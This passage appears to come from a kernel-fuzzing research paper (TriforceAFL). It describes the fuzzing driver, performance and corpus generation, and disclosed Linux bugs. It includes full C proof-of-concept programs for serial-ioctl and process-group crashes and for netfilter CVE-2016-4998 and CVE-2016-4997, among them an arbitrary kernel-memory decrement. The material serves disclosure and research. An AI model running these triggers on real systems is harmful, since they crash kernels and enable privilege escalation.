- The afl.c file provides a C wrapper for all the `aflCall` hypercalls. It also provides "stubbed out" versions for running the driver on a non TriforceAFL VM. This has proven useful for understanding what a specific test case is doing, as well as analyzing and reproducing crashes. This file also provides an `aflInit()` routine, which uses `mmap(2)` to pin the region of memory that will be used for the host to give a test case

[19] And again, we'd like to point out these are not "real" types, they are more technically 'formal relationships' between different arguments.

to the guest.

- The driver.c file acts as the main entry point. It starts by calling `aflInit()` as defined in afl.c.
- A separate `sysc.c` file isolates the details of file parsing and test invocation from the main driver.
- `argfd.c` opens a wide range of different file descriptors, which allows AFL to change FD numbers in a syscall and (potentially) get dramatically different behavior.
- We also include several shell scripts useful for running tests, running a given command, or just getting a shell, inside the VM. These can be very useful for debugging crashes.

5.1 Kernels and Performance

One of the great things about AFL is that it natively supports parallel and distributed fuzzing, using a primary/secondary model. This allowed us to pull off a cool trick: use the same driver to test multiple kernels, so that test cases are "ABI Compatible". This will let our different kernels "cross-pollinate" each other with test cases. For example, a test case that triggers some new edges on kernel A (but kernel A does not have vulnerabilities in these paths) can then be automatically used on kernel B (which does have a vulnerability in these paths). This can be especially useful when fuzzing against kernels that include new or backported features, as these both are often places bugs are found.

We built a number of different kernels from the 2.X, 3.X, and 4.X release lines. For each kernel, we compiled two versions, a "min" version with a very small feature set configured (often just 'defconfig' with a couple extra flags, such as 'panic on oops'), and a "fat" version with everything we could get working turned on. We also included kernels built with kernel address sanitation (KASAN). Surprisingly, KASAN kernels have not (yet) detected any crashes that weren't found on non-KASAN kernels. However, KASAN has proven an invaluable tool when triaging and understanding crashes.

To test performance, we ran the fuzzer on different kernels on a specific single-core Linux machine,[20] with no other major processes running on it. We ran TLSF over a fixed suite of test files gathered from earlier fuzzing, noted how many executions per second it achieved, and repeated that several times to average the variability out. We found that we paid approximately a 2.4x performance penalty for using KASAN (our 'linux4-min' kernel averaged 10.375 exec/s, whereas our 'linux-4-min-with-kasan' averaged only 4.285 exec/s). Our "fat" kernels paid a very steep performance penalty over our "min" kernels (with our 'linux-4-fat' averaging only 1.465 exec/s).

NCC Group Senior Consultant Joel St. John was nice enough to give us free reign on his multi-core Linux server. During our first fuzzing run, we usually had nine instances running at once, for about two months (3/22 to 5/28). During this fuzzing run, we estimate we ran around 773 million executions.[21] To give an idea of the ranges of speed during this fuzzing run, from retroactively averaging exec speeds over different kernels, we saw the fastest kernels averaged 75.90 exec/s, while our slowest kernels averaged 1.96 exec/s. It is worth keeping in mind, these numbers are imprecise, as we often trashed our work queues during driver iteration.[22] Additionally, there is also significant jitter in execution speed depending on what paths end up being investigated by AFL (if syscalls are timing out, execution is dramatically slower).

Recently, we've setup a fuzzing cluster on Digital Ocean,[23] and each (single core, lowest specs possible) Linux droplet is currently averaging "58.855800" exec/s.

5.2 Corpus Generation

To get the best results from AFL, it needs a good set of inputs to start from. With a driver complex enough to handle most system calls (and wanting to get the fuzzer going while working to make better test cases), we set out to make a basic corpus that would cover most system calls.

We started by doing static analysis of the syscall definitions to identify common "shapes" of syscall argu-

[20] A Lenovo T440s laptop, quad core (i7-4600U CPU @ 2.10GHz), 12GB RAM, running Ubuntu 14.04

[21] Although there was some downtime during this time, and we didn't always have all nine instances running all the time. These numbers should be taken with a large shaker of salt—we did not spend a lot of effort in measuring performance, we were more interested in finding bugs.

[22] Whenever we made an "ABI breaking" change to the driver, we would write a script to convert the existing work queue to the new format, and then restart the fuzzers with the new driver. This worked great from an iteration perspective, but did make it harder to keep track of cumulative performance

[23] all fuzzing the latest stable Linux kernel release, built with defconfig

ments. This produced the following list of syscall shapes:

```
buffer
buffer,int
buffer,int,buffer
buffer,int,int,ptr
buffer,len,int

fd
fd,buffer
fd,buffer,buffer,int
fd,buffer,buffer,int,int
fd,buffer,int
fd,buffer,int,int,ptr
fd,buffer,len
fd,buffer,len,int
fd,fd
fd,fd,int
fd,fd,int,int
fd,fd,ptr,int
fd,filename,buffer,len
fd,filename,fd,filename
fd,filename,fd,filename,int
fd,filename,int
fd,filename,int,int
fd,filename,int,int,int
fd,filename,ptr
fd,filename,ptr,int
fd,filename,ptr,ptr,int
fd,inotifydesc
fd,int
fd,int,buffer
fd,int,fd,int,int,int
fd,int,fd,ptr
fd,int,int
fd,int,int,fd,filename
fd,int,int,int
fd,int,ptr,ptr
fd,ptr
fd,ptr,int
fd,ptr,int,int
fd,ptr,int,int,ptr,int
fd,ptr,ptr
fd,string
fd,string,buffer,int
fd,string,int
fd,string,string,int,int

filename
filename,buffer
filename,buffer,buffer,int
filename,buffer,buffer,int,int
filename,buffer,int
filename,buffer,len
filename,fd,filename
filename,filename
filename,filename,filesystem,
    int,buffer
filename,int
filename,int,int
filename,ptr
filename,string
filename,string,buffer,int
filename,string,string,int,int

int
int,buffer
int,buffer,len
int,int
int,int,buffer
int,int,int
int,int,int,fd,fd
int,int,int,int
int,int,int,int,fd,int
int,int,int,int,int
int,int,int,ptr,int,int
int,int,ptr
int,int,ptr,int
int,int,ptr,int,ptr
int,int,ptr,ptr
int,int,ptr,ptr,opt,ptr,int
int,int,signalno
int,int,signalno,ptr
int,ptr
int,ptr,int
int,ptr,int,int
int,ptr,int,ptr
int,ptr,int,ptr,int,const
int,ptr,ptr
int,ptr,ptr,int
int,ptr,ptr,ptr,ptr
int,ptr,ptr,ptr,ptr,ptr
int,signalno
int,signalno,ptr

io_ctx
io_ctx,int,int,ptr,ptr
io_ctx,int,ptr
io_ctx,ptr,ptr

ipc,buffer,int
ipc,buffer,int,int,int
ipc,int,int
ipc,int,int,ptr
ipc,int,ptr
ipc,ptr,int
ipc,ptr,int,ptr

ptr
ptr,int
ptr,int,int
ptr,int,int,ptr,ptr,int
ptr,int,ptr,ptr,int
ptr,ptr
ptr,ptr,int,int,int
ptr,ptr,ptr
ptr,ptr,ptr,int

signalno,ptr,ptr,int,ptr

string
string,int
string,int,int,ptr
string,int,string

timerid
timerid,int,ptr,ptr
timerid,ptr
```

We wrote a Python script to generate a serialized test case for each shape, with a default syscall number. On its own, AFL could work from here in order to try different syscalls (for a given shape) by mutating the syscall number. Fortunately, we realized we could do much better.

`afl-cmin` is AFL's corpus minimization tool, and is used to minimize large corpuses before starting an AFL fuzzing run. If we took each one of our shapes, and created a variant of it for each syscall number (i.e. from 0-400), we'd end up with a **very** large corpus. However, if we then use `afl-cmin` on this corpus, we'd end up with a (fairly) compact corpus that would exercise lots of different syscall functionality.

However, "normal" `afl-cmin` does not use AFL's forkserver. This is not an issue when fuzzing a normal binary, where start time is trivial. However, recall that in our model, we spend a comparatively long time booting the VM, and then fork right before decoding and executing the test case (which is relatively fast).

This means without adapting `afl-cmin` to use the forkserver, corpus minimization would take an excessively long amount of time. So we adapted `afl-cmin` to use the forkserver[24] (allowing us to get the time-speedup of only needing to boot the VM once), and we were then able to create a "cmin'd" corpus of 400 inputs, covering 306 different syscalls.

Interestingly, using the corpus generated via this method, AFL was able to find two exploitable vulnerabilities in the netfilter code, CVE-2016-4997 and CVE-2016-4998. We did not specifically try to get TriforceAFL to look at netfilter code and, at this time in development, we were not even aware of CVE-2016-3134 (a very similar bug found by Google's ProjectZero).[25] AFL found its way to this buggy netfilter code all on its own.

We'll discuss automatic corpus generation more in Section 9 on page 40.

[24] This "improved" version of `afl-cmin` is in the TriforceAFL repository.
[25] The patch to which still failed to fully validate input, leading to our vulnerabilities. As discussed in the next section, "full" fixes were available upstream in the Linux kernel, but hadn't yet been integrated into a stable release.

These crashes are low severity crashes we found using `multibuf`, but are more complex than the issues we've discussed so far. Again, all these writeups are also available on our GitHub. For readers who aren't interested in reading bug writeups, feel free to skip to the next section.

6.1 TIOCSSERIAL ioctl DoS

Risk: Low (root only local DoS)

Description: Making `TIOCSSERIAL` `ioctl(2)` calls on the serial device (tested with an 8250 device) can cause NULL-pointer accesses, `WARN_ON` messages, and division-by-zero errors. Although some of the `ioctl(2)` features are accessible to non-root users, the features that lead to crashes appear only to be accessible to root (in the initial user namespace).

We were able to reproduce these issues on the following kernels built for the x86_64 target using a 8250 serial device as console:

- linux-2.6.32.71 – defconfig
- linux-3.18.29 – defconfig
- linux-4.5.0 – defconfig

The divide-by-zero issue has been fixed, but this issue in general won't be fixed, as it involves a (root-only) `ioctl(2)` that involves "trusted" serial port data.

Reproduction:

Execute the following PoCs as root, with the serial port device on stdin. This can be done by booting in a serial console and executing the programs from a shell.

Of note is that AFL is able to mutate any of these three test cases into the other. These reproduction files are also available on on our Github page.

```c
#include <sys/ioctl.h>

int main(int argc, char **argv)
{
    unsigned char buf[32*4] = {
      0x0a, 0x00, 0x00, 0x00,  // type
      0x00, 0x00, 0x10, 0x00,  // line
      0xff, 0xe7, 0x00, 0x00,  // port
      0x00, 0x00, 0x00, 0x00,  // irq
      0x00, 0x10, 0x00, 0x10,  // flags
      0xA5, 0xC9, 0x0E, 0x00,  // xmit fifo size
      0x00, 0x02, 0xF8, 0xFF,  // custom divisor
      0xFF, 0xD7, 0x00, 0x00,  // baud base
    };
    ioctl(0, TIOCSSERIAL, buf);
    return 0;
}
```

Listing 5: repro-tty1.c – Causes a NULL pointer access in `mem_serial_in()`

```c
#include <sys/ioctl.h>

int main(int argc, char **argv)
```

```
{
    unsigned char buf[32*4] = {
    0x0e, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x10, 0x00,
    0xff, 0xe7, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x10,
    0xa5, 0xc9, 0x0e, 0x00,
    0x00, 0x02, 0xf8, 0xff,
    0xff, 0xd7, 0x20, 0x00,
    };
    ioctl(0, TIOCSSERIAL, buf);
    return 0;
}
```

Listing 6: repro-tty2.c – Causes a NULL pointer access in `mem32_serial_in()`

```
#include <sys/ioctl.h>
#include <linux/serial.h>

int main(int argc, char **argv)
{
    struct serial_struct buf;
    ioctl(0, TIOCGSERIAL, &buf);
    buf.flags = 0xf800;
    buf.custom_divisor = 0x021f;
    buf.baud_base = 0x10000000; /* requires root to change this */
    ioctl(0, TIOCSSERIAL, &buf);
    return 0;
}
```

Listing 7: repro-tty3.c – Causes a division-by-zero in `do_con_write()`

6.2 Linux 2.X and Process Group 0

Risk: Low (local DoS, only on old 2.X kernels)

We were able to reproduce these issues on the following kernel built for the x86_64 target:

- linux-2.6.32.71 – defconfig

This is the "official" 2.X kernel from `kernel.org`, yet it is EOL. RHEL/CentOS provide various 2.X kernels that receive various levels of support and backporting. These will be the future targets for our fuzzing of the 2.X kernel.

Description: A process that is in the same process group as the "init" process (group ID zero) can crash the Linux 2 kernel with several system calls by passing in a process ID or process group ID of zero. The value zero is a special value that indicates the current process ID or process group. However, in this case it is also the process group ID of the process.

Of these calls, the `getpriority`, `setpriority`, and `iorpriorityget` calls can be executed as any user. The other two calls, `ioprioset` and `kill`, only cause crashes when executed as root.

These issues were fixed in the following commits in 2010:

- `f106eee10038c2ee5b6056aaf3f6d5229be6dcdd pids: fix fork_idle()to setup ->pids correctly`
- `f20011457f41c11edb5ea5038ad0c8ea9f392023 pids: init_struct_pid.tasks should never see the swapper process`
- `fa2755e20ab0c7215d99c2dc7c262e98a09b01df INIT_TASK()should initialize ->thread_group list`

which should be included in 2.6.35 backports. This issue may still effect RHEL6, which is based on 2.6.32 (and older version of RHEL/CentOS based on even older kernels). We contacted the RH team and informed them of these issues, they may backport the relevant commits (although it is very low priority, as no "normal" user processes run in process group zero).

Reproduction: Boot a Linux kernel with a shell script `/bin/init` that spawns `/bin/sh`. Execute the below test programs from this shell.

As always, all this code is available in our repo.

```c
/* crashes older than 2.6.35 with a NULL pointer issue
 * Works when getpgrp() == 0.
 */

#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>

int main(int argc, char **argv)
{
    setuid(1000); /* even works as nobody! */
    getpriority(1, 0);
    return 0;
}
```

Listing 8: repro-pgrp-getpriority.c – runs with euid=1000

```c
/* crashes older than 2.6.35 with a NULL pointer issue
 * Works when getpgrp() == 0.
 */

#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>

int main(int argc, char **argv)
{
    setuid(1000); /* even works as nobody! */
    setpriority(1, 0, 1);
    return 0;
}
```

Listing 9: repro-pgrp-setpriority.c – runs with euid=1000

```c
/* crashes older than 2.6.35 with a NULL pointer issue
 * BUG: unable to handle kernel NULL pointer dereference at 00000000000000e8
 * Works when getpgrp() == 0.
 */

#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char **argv)
{
    setuid(1000); /* even works as nobody! */
    syscall(SYS_ioprio_get, 2, 0);
    return 0;
}
```

Listing 10: repro-pgrp-ioprioget.c – runs with euid=1000

```c
/* crashes older than 2.6.35 with a NULL pointer issue
 * Works when getpgrp() == 0.
 */

#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char **argv)
{
    /* this one requires root */
    syscall(SYS_ioprio_set, 2, 0, 0x614a);
    return 0;
}
```

Listing 11: repro-pgrp-ioprioset.c – runs as root

```c
/* crashes older than linux2.6.35 with a NULL pointer issue
 * Works when getpgrp() == 0.
 *
 * Note: sometimes this just causes a hang, sometimes it causes a BUG:
 *
 * BUG: unable to handle kernel NULL pointer dereference at 00000000
 * [<ffffffff810501fb>] __send_signal+0x1ba/0x1e1
 * [<ffffffff8105027f>] send_signal+0x5d/0x68
 * [<ffffffff81050968>] do_send_sig_info+0x3e/0x6f
 * [<ffffffff81050b15>] group_send_sig_info+0x31/0x39
 * [<ffffffff81050b5c>] __kill_pgrp_info+0x3f/0x6c
 * [<ffffffff81051add>] sys_kill+0xd5/0x164
 */

#include <unistd.h>
#include <sys/types.h>
#include <signal.h>

int main(int argc, char **argv)
{
```

```
21      kill(0, 9);
22      return 0;
23  }
```

Listing 12: repro-pgrp-kill.c – runs as root

7 Non-Trivial Crashes

The following section explores the more significant crashes we found in the Linux kernel. Both of these issues are in the complex (and buggy) Linux netfilter code. We were able to trigger these issues on the following kernels:

- linux-2.6.32.71 – defconfig
- linux-3.18.29 – defconfig
- linux-4.5.0 – defconfig

These are both issues in the netfilter `setsockopt(2)` operation, which is usually restricted to root. However, with the addition of user and network namespaces in Linux 3 and 4, these issues become exploitable as an unprivileged user.

Interestingly, Google's ProjectZero found a very similar issue (CVE-2016-3134) after we had started our fuzzing (and so we were unaware of the netfilter code as being even a "strong" attack surface). When we reported our two "high severity" issues, we found out there were already patches upstream that fixed them:

- http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d04
- http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6e94e0cfb088
- http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=bdf533de6968

It seems that after Google reported their bugs, the kernel maintainers had been doing some maintenance work on the netfilter code and fixed a number of issues, but had not yet backported the fixes (or possibly had not noticed the vulnerabilities). As such, these commits had not been brought down to a '-stable' release, and were not present in even the latest release candidate as of when we reported (which was 4.7rc4).

After we disclosed these issues, these commits were backported to various stable releases: 3.14.73, 4.4.14, and 4.6.3.

These issues are likely exploitable through other entry vectors as well, since the netfilters code for IP, IPv6, ARP, and bridge are closely related and share common code:

- net/ipv4/netfilter/arp_tables.c
- net/ipv4/netfilter/ip_tables.c
- net/ipv6/netfilter/ip6_tables.c
- net/bridge/netfilter/ebtables.c

The patches in the abovementioned commits apply checks to all the netfilter code.

We have a fuzzing instance set up now just to fuzz `setsockopt(2)` on a fully patched kernel. We'll see if there are more bugs to be shaken out of this strange corner of the operating system. Interestingly, this (and ProjectZero's bug) led multiple distributions to change their defaults to disallow unprivileged users from creating user namespaces.

The rest of this section contains the bug writeups, along with reproduction code. For readers not interested in those, feel free to skip to the next section.

7.1 Heap Overread in setsockopt IPT_SO_SET_REPLACE (CVE-2016-4998)

Risk: Medium (allows unprivileged local DoS or heap disclosure)

Description: When installing an IP filter with the `setsockopt(2)` system call using the `IPT_SO_SET_REPLACE` command, the input record (`struct ipt_replace`) and its payload (`struct ipt_entry` records) are not properly validated. The entry's `target_offset` fields are not validated to be in bounds, and can reference

kernel memory outside of the user-provided data. This results in out-of-bounds reads being performed on kernel data adjacent to the copied user data. It may also allow out-of-bounds writes to adjacent data. These issues can result in kernel BUG messages and information disclosure, and possibly heap corruption. The `target_offset` field is 16-bits and can only reference a limited amount of data past the end of the user-provided data. This issue is present when `CONFIG_IP_NF_IPTABLES=m` or `CONFIG_IP_NF_IPTABLES=y` has been configured.

The `IPT_SO_SET_REPLACE` command triggers a call to `translate_table()`, in `net/ipv4/netfilter/ip_tables.c`, which is responsible for copying and translating the replace request's table of entries into kernel structures. It iterates over the list of entries calling `check_entry_size_and_hooks()` for each entry. This call validates the entry but does not validate the entry's target_offset field, which references the target as an offset from the entry record. `check_entry_size_and_hooks()` will also iterate over any valid hooks and will call `check_underflow()` on the entry if it is an underflow hook.

This function accesses the target via the unvalidated `target_offset` and reads the target's `u.user.name` and `verdict` fields. These reads can be out of bounds, and can access adjacent heap data or lead to a page fault and a kernel BUG panic. If either of these fields does not pass a validation check, the `check_entry_size_and_hooks()` will print a log message to the dmesg buffer reporting the validation failure. This happens when the `u.user.name` field does not have the empty string or the verdict field does not have the value `-1` or `-2`. The presence or absence of the logging message can be used to infer information about adjacent heap data.

After returning, `translate_table()` accesses the target's `u.user.name` field using the target_offset. This access can be out of bounds and can result in a kernel BUG.

After `translate_table()` iterates over the entries, it performs further validation steps that can also access targets through the `target_offset`. It then iterates over the entries again, calling `find_check_entry()` for each entry. This function can perform a write to a kernel-internal field of the target, which can corrupt adjacent heap data. A malicious attacker attempting to abuse this issue would not have much control over the value that is written to the target memory. We did not determine if this out of bounds write can be triggered, or if the earlier validation steps prevent it from being reachable.

As an aside, the kernel will allocate and copy in large amounts of user data based on a 32-bit size provided by the caller. This size is limited only by the check in `xt_alloc_table_info()`:

```
    /* Pedantry: prevent them from hitting BUG() in vmalloc.c --RR */
    if ((SMP_ALIGN(size) >> PAGE_SHIFT) + 2 > totalram_pages)
        return NULL;
```

An attacker may be able to consume large amounts of kernel memory with multiple simultaneous calls.

Reproduction: Compile and run the following as the root user, or in a new `USER_NS` and `NET_NS` as root:

```
/*
 * repro-translateTable.c
 *    Trigger OOB heap read panic in translate_table.
 *
 * gcc -static -g repro-translateTable.c -o repro-translateTable
 */
#include <stdio.h>
#include <stdlib.h>
```

```c
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>

void
xperror(int bad, char *msg)
{
    if(bad) {
        perror(msg);
        exit(1);
    }
}

int
main(int argc, char **argv)
{
    char buf[9 * 4096];
    struct ipt_replace repl;
    struct ipt_entry ent;
    struct xt_entry_target targ;
    char *p;
    socklen_t valsz;
    int s, x;

    s = socket(AF_INET, SOCK_DGRAM, 0);
    xperror(s == -1, "socket");

    memset(&targ, 0, sizeof targ);

    memset(&ent, 0, sizeof ent);
    ent.next_offset = sizeof ent + sizeof targ;
    ent.target_offset = 65535; /* bogus! */

    memset(&repl, 0, sizeof repl);
    repl.num_entries = 1;
    repl.num_counters = 1; // required for 4.5 but not 3.18.25
    /*
     * size is important because it affects where on the heap our buffer
     * ends up. Must be greater than a page on 3.18.25 and greater than
     * 8 pages on 4.5.
     */
    repl.size = 0x8025;
    repl.valid_hooks = 0;

    p = buf;
    memcpy(p, &repl, sizeof repl);
    p += sizeof repl;
    memcpy(p, &ent, sizeof ent);
    p += sizeof ent;
    memcpy(p, &targ, sizeof targ);
    p += sizeof targ;
```

```
63
64      valsz = repl.size;
65      x = setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, buf, valsz);
66      xperror(x == -1, "setsockopt");
67      return 0;
68  }
```

Listing 13: repro-translateTable.c – Causes a kernel panic with a heap OOB read

This will trigger a memory fault in `do_replace()` when trying to `strcmp` the user's name from: `iter + iter->target_offset`.

7.2 Arbitrary Decrements in compat_setsockopt IPT_SO_SET_REPLACE (CVE-2016-4997)

Risk: High (allows kernel memory corruption, local privilege escalation)

Description: When processing an `IPT_SO_SET_REPLACE` `setsockopt(2)` request made with the (32-bit) `compat_setsockopt` system call (which requires `CONFIG_COMPAT=y` and either `CONFIG_IP_NF_IPTABLES=m` or `CONFIG_IP_NF_IPTABLES=y`), the kernel will alter arbitrary kernel memory through pointers provided by the caller (given that `CONFIG_MODULE_UNLOAD=y`). This can be leveraged to elevate privileges or to gain arbitrary code execution in the kernel. This call requires root permissions, but can be invoked by an unprivileged user if `CONFIG_USER_NS=y` and `CONFIG_NET_NS=y` are enabled in the kernel.

Due to incomplete validation of `target_offset` values in `check_compat_entry_size_and_hooks()` within `net/ipv4/netfilter/ip_tables.c`, a critical offset can be corrupted. As a result, several important structures are referenced from unvalidated memory during error cleanup. These structures are meant to contain kernel-provided data, but a malicious user can provide these values. The result is that a malicious user can decrement arbitrary kernel integers when they are positive.

In `check_compat_entry_size_and_hooks()` the entry is validated with:

```
ret = check_entry((struct ipt_entry *)e, name);
```

This function checks that `target_offset` is not too big, but does not check if it is too small! If `target_offset` is small, `check_compat_entry_size_and_hooks()` will not iterate over `ematch` or initialize it:

```
    xt_ematch_foreach(ematch, e) {
        ret = compat_find_calc_match(ematch, name, &e->ip, &off);
        if (ret != 0)
            goto release_matches;
        ++j;
    }
```

A small `target_offset` (such as 74) can cause the target pointer to alias parts of the `e` entry, because `t` is calculated as `e + e->target_offset`:

```
    t = compat_ipt_get_target(e);
```

Later this value (`t`) is written to:

```
    target = xt_request_find_target(NFPROTO_IPV4, t->u.user.name,
```

```
                    t->u.user.revision);
    if (IS_ERR(target)) {
        duprintf("check_compat_entry_size_and_hooks: `%s' not found\n",
             t->u.user.name);
        ret = PTR_ERR(target);
        goto release_matches;
    }
    t->u.kernel.target = target;
```

The write to `t->u.kernel.target` can corrupt the `e->target_offset` if the target aliases part of the entry.

Later, when iterating over the same object in `compat_release_entry()`, the kernel then iterates over matches that didn't exist earlier (when `target_offset` was too small to contain any). These matches were never properly initialized:

```
    /* Cleanup all matches */
    xt_ematch_foreach(ematch, e)
        module_put(ematch->u.kernel.match->me);
```

This results in an uninitialized pointer for `ematch->u.kernel.match`. This pointer `ematch->u.kernel.match->me` now comes from user data instead of trusted kernel data!

Using a `target_offset` of 74 causes `target_offset` to be overwritten with the high two bytes of `target`, which will always be `0xffff`.

When `module_put()` is called, it uses the value of ematch->u.kernel.match->me and decrements its `refcnt` field (at offset '824' in the 4.5 kernel when using the default configuration) with `atomic_dec_if_positive()`. An attacker can provide a malicious value for the `me` pointer to decrement any positive 32-bit integer in kernel memory space.

After the `ematch`'s module has been decremented, the entry's own module is also decremented:

```
    t = compat_ipt_get_target(e);
    module_put(t->u.kernel.target->me);
```

This also uses the corrupted `target` pointer (now at offset '65535' from the entry, whose kernel values were never initialized), providing another opportunity for decrementing an arbitrary pointer.

Note that the behavior of `module_put()` varies a bit from kernel to kernel. In linux-4.5 it calls `atomic_dec_if_positive(&module->refcnt)` to decrement an attacker provided pointer. This allows any memory in the kernel's virtual address space to be decremented, provided it is positive. By decrementing overlapping unaligned memory, an attacker can craft arbitrary values at the expense of corrupting adjacent memory.

The linux-2.6.32.71's version of `module_put()` looks up the cpu number and calls `local_dec(__module_ref_addr(module, cpu))`. This results in a decrement of the value pointed to by `module->refptr + __per_cpu_offset[cpu]`. If an attacker knows or can guess the `per_cpu_offset` value, they can craft a decrement to any address in the kernel's virtual memory. The value is decremented whether or not it is positive.

The linux-3.18.25 kernel's version of `module_put()` calls `__this_cpu_inc(module->refptr->decs)`. On x86_64 this results in an `incq %gs:0x8(%rax)` instruction. This allows an attacker to perform arbitrary

increments, but only to memory referenced through the %gs segment.

It also appears that the same issue may exist in the non-compatible code case. The `find_check_entry()` also iterates over a set of matches, and if an error is detected, iterates it once again to cleanup the matches. It also assigns `t->u.kernel.target`, which can alias the entry record and its matches. Triggering this condition would involve very careful crafting of entry records, since the normal `translate_table()` function does much more validation before calling `find_check_entry()`.

From root-cause analysis, this issue is due to structures copied from user memory that were augmented with kernel-trusted data. These structures contain a union where information is first read from the user-provided data, and then used to populate kernel-trusted data. These practices are dangerous. Simple errors in bookkeeping can allow user-provided data to be misinterpreted as trusted kernel data. We recommended the kernel team discontinue these practices in the long term to make it less likely that user data could be confused for trusted kernel data. A safer solution would be to allocate a kernel structure to contain the kernel-trusted data (followed by user-provided data), and to copy the user-provided data only into the appropriate parts of this structure.

Reproduction: Compile the following source code as a 32-bit binary (ie. with `-m32`) and run it as the root user, or as an unprivileged user using a new `USER_NS` and `NET_NS` (to get "root" inside a new namespace):

```
/*
 * repro-compatReleaseEntry.c
 *    Trigger a NULL dereference to demonstrate a bug in compat_release_entry
 *
 * This MUST be compiled as a 32-bit binary to work:
 * gcc -m32 -static -g repro-compatReleaseEntry.c -o repro-compatReleaseEntry
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/if.h>
#include <linux/netfilter_ipv4/ip_tables.h>

void
xperror(int bad, char *msg)
{
    if(bad) {
        perror(msg);
        exit(1);
    }
}

int
main(int argc, char **argv)
{
    char buf[65 * 1024];
    struct ipt_replace repl;
    struct ipt_entry ent;
    struct xt_entry_target targ, targ2;
    struct xt_entry_match match;
```

```
    char *p;
    socklen_t valsz;
    int x, s;

    s = socket(AF_INET, SOCK_DGRAM, 0);
    xperror(s == -1, "socket");

    /* build [repl [ent match target ... target2]] */
    memset(&targ, 0, sizeof targ);
    targ.u.target_size = 0;

    memset(&targ2, 0, sizeof targ2);
    targ2.u.target_size = 0;
    targ2.u.kernel.target = NULL; // causes NULL-pointer deref in kernel (but match
        NULL pointer is deref'd first)

    memset(&match, 0, sizeof match);
    strcpy(match.u.user.name, "icmp");
    match.u.kernel.match = NULL; // causes NULL-pointer deref in kernel
    match.u.match_size = 65535; // consume all space till target_offset=65535

    memset(&ent, 0, sizeof ent);
    ent.next_offset = sizeof ent + sizeof match + sizeof targ;
    /*
     * this value of target_offset is too small.  It will cause
     * there to be no match entries when initializing the entry.
     * It will cause target->u.kernel.target to alias ent->target_offset,
     * which will overwritten e->target_offset with 0xfff after
     * initializing the empty matches.  Later when the matches
     * are released by compat_release_entry() the matches will be
     * taken from the space immediately following the entry, which
     * will contain a user-provided match->u.kernel.match record
     * instead of the kernel provided match->u.kernel.match record!
     */
    ent.target_offset = 74;

    memset(&repl, 0, sizeof repl);
    repl.num_entries = 2; // intentionally wrong! we only provide one!
    repl.num_counters = 1;
    repl.size = sizeof repl + 65535 + sizeof targ;
    repl.valid_hooks = 0;

    p = buf;
    memcpy(p, &repl, sizeof repl);
    p += sizeof repl;
    memcpy(p, &ent, sizeof ent);
    p += sizeof ent;
    memcpy(p, &match, sizeof match);
    p += sizeof match;
    memcpy(p, &targ, sizeof targ);
    p += sizeof targ;

    p = buf + sizeof repl + 65535; // the target, after target_offset has been
        corrupted
```

```
    memcpy(p, &targ2, sizeof targ2);
    p += sizeof targ;
    valsz = repl.size;

    /* when compiled -m32 this will call compat_setsockopt */
    x = setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, buf, valsz);
    printf("setsockopt returned %d\n", x);
    printf("we didn't cause a crash.\n");
    return 0;
}
```

Listing 14: repro-compatReleaseEntry.c - Trigger a NULL dereference to demonstrate a bug in compat_release_entry

The defect is in the portable code, and so should work on other platforms where there is support for 32-bit binaries to run on a 64-bit Linux kernel.

We also provide an example of how to abuse this to modify arbitrary memory. It works only for linux-4.X. It will decrement an integer in the program's memory space, but the decrement happens in the kernel through an arbitrary pointer provided by the program, and could reference kernel memory instead. We confirmed this test case runs properly on linux-4.5.0 with the default configuration, compiled for x86_64.

Compile the following source code as a 32-bit binary (ie. with –m32) and run it as the root user, or as an unprivileged user using a new USER_NS and NET_NS (to get "root" inside a new namespace):

```
/*
 * repro-compatReleaseEntryMod.c
 *    Trigger an arbitrary kernel decrement in compat_release_entry
 *
 * This has beent tested on Linux 4.5.
 *
 * Must be compiled with -m32:
 * gcc -m32 -static -g repro-compatReleaseEntryMod.c -o repro-compatReleaseEntryMod
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/if.h>
#define CONFIG_COMPAT
#include <linux/netfilter_ipv4/ip_tables.h>

typedef unsigned long long voidp64;

typedef unsigned int u32;
typedef unsigned short __16;
typedef unsigned int compat_uint_t;
typedef u32     compat_uptr_t;
typedef unsigned long long compat_u64;

```

```
/* this is an in-kernel-only structure, we just approximate it here  */
struct xt_match {
    voidp64 listnext, listprev;

    const char name[29];
    u_int8_t revision;

    voidp64 match_func;
    voidp64 checkentry_func;
    voidp64 destroy_func;

#ifdef CONFIG_COMPAT
    voidp64 compat_from_user_func;
    voidp64 compat_to_user_func;
#endif
    voidp64 me; // struct module *

    voidp64 table; // char *
    unsigned int matchsize;
#ifdef CONFIG_COMPAT
    unsigned int compatsize;
#endif
    unsigned int hooks;
    unsigned short proto;

    unsigned short family;
};

/* this is an in-kernel-only structure, we just approximate it here  */
struct xt_target {
    voidp64 listnext, listprev;

    const char name[29];
    u_int8_t revision;

    voidp64 target_func;
    voidp64 checkentry_func;
    voidp64 destroy_func;
#ifdef CONFIG_COMPAT
    voidp64 compat_from_user_func;
    voidp64 compat_to_user_func;
#endif
    voidp64 me; // struct module *

    voidp64 table; // char *
    unsigned int targetsize;
#ifdef CONFIG_COMPAT
    unsigned int compatsize;
#endif
    unsigned int hooks;
    unsigned short proto;

    unsigned short family;
};
```

```
83
84  struct my_xt_entry_target {
85      union {
86          struct {
87              u_int16_t target_size;
88              char name[XT_FUNCTION_MAXNAMELEN - 1];
89              u_int8_t revision;
90          } user;
91          struct {
92              u_int16_t target_size;
93              char padding[6];
